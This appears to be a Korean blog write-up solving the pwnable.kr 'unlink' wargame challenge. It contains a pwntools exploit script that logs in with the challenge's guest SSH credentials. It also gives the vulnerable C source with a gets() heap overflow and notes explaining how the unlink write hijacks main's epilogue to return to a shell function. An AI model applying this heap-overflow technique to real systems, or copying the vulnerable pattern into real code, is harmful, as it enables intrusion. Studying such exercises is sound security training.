from pwn import *
s = ssh(user="unlink", host="pwnable.kr", port=2222, password="guest")
p = s.process(executable="/home/unlink/unlink")
p.recvuntil("leak: ")
stkebp = int(p.recvline()[:-1], 16) + 0x14
print(hex(stkebp))
p.recvuntil("leak: ")
heap_a = int(p.recvline()[:-1], 16)
print(hex(heap_a))
p.recvline()
''' chunk a 활용
pay = p32(0x080484eb) + b'A'*0xc
pay += p32(heap_a+0xc)+p32(stkebp-0x4) # chunk B
'''
# chunk C 활용
pay = b'A'*0x10
pay += p32(heap_a+0x34)+p32(stkebp-0x4) + b'A'*0x10
pay += p32(0x80484eb)
p.sendline(pay)
p.interactive()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ)); // 크기 16B
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
// stack, heap: ASLR 때문에 계속 주소 바뀜! 하지만 offset은 그대로?
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
<exploit 계획>
A->buf에서 bof 발생
B의 fd bk 조작해서 fake chunk 주소로 바꾼다
FD->bk = BK; BK->fd = FD; 에서 주소 덮어쓸 수 있음
return to shell() 로 코드를 짜보자
방법1)
C chunk에 jmp <shell> 어셈블리어 넣어두고 그곳으로 RET // pwn.asm('jmp $+0x20')
=> 하지만 NX 적용되어있기에 불가능..
방법2)
FD나 BK 중 하나를 shell() 주소로 하면 shell 코드가 손상될 것이므로 안됨
그리고 이런 방식으로 RET 안이루어짐
진짜 방법) main 함수 에필로그가 좀 특이함!
<+208>: mov ecx,DWORD PTR [ebp-0x4]
<+211>: leave
<+212>: lea esp,[ecx-0x4]
<+215>: ret
에필로그 보면 (ebp-0x4에 담겨있는 4byte값)을 ecx로 옮기고
ecx-0x4 주소로 esp를 옮기고
esp가 가리키는 주소로 복귀한다
ebp-0x4에 Chunk A+12를 담고,
Chunk A+8(buf)에 shell 주소를 담으면 되겠네
BK=[ebp-0x4]
FD=[chunk A+0xC]
cf)
No PIE, No Canary, Partial RELRO
A=[ebp-0x14], B=[ebp-0xc], C=[ebp-0x10]
실제 서버상에서 gdb를 돌려보니 A~C 각 chunk는 0x18 (로컬에선 0x20)씩 차이나네
chunk와 chunk 사이 간격이 8Byte씩 생기는 듯
**** 로컬과 서버상에서 구현이 다르게 될 수 있으므로 서버쪽 gdb로 확인 ****
**** 맞게 구현했는데 익스 안된다? 원격/로컬 환경 다를 수 있으니 gdb로 확인
gets(A->buf) 코드를 보니 buf는 리턴된 chunk 주소+8에 위치함
즉 반환된 chunk주소부터 fd(4B)/bk(4B)/buf(8B) 이렇게 위치한다
'security > 포너블 - pwnable.kr' 카테고리의 다른 글
pwnable.kr - [Rookiss] tiny_easy (0) | 2023.02.19 |
---|---|
pwnable.kr - [Rookiss] fsb (0) | 2023.02.18 |
pwnable.kr - [Toddler's Bottle] uaf (0) | 2023.02.06 |
pwnable.kr - [Toddler's Bottle] shellshock (0) | 2023.02.06 |
pwnable.kr - [Toddler's Bottle] random (0) | 2023.02.06 |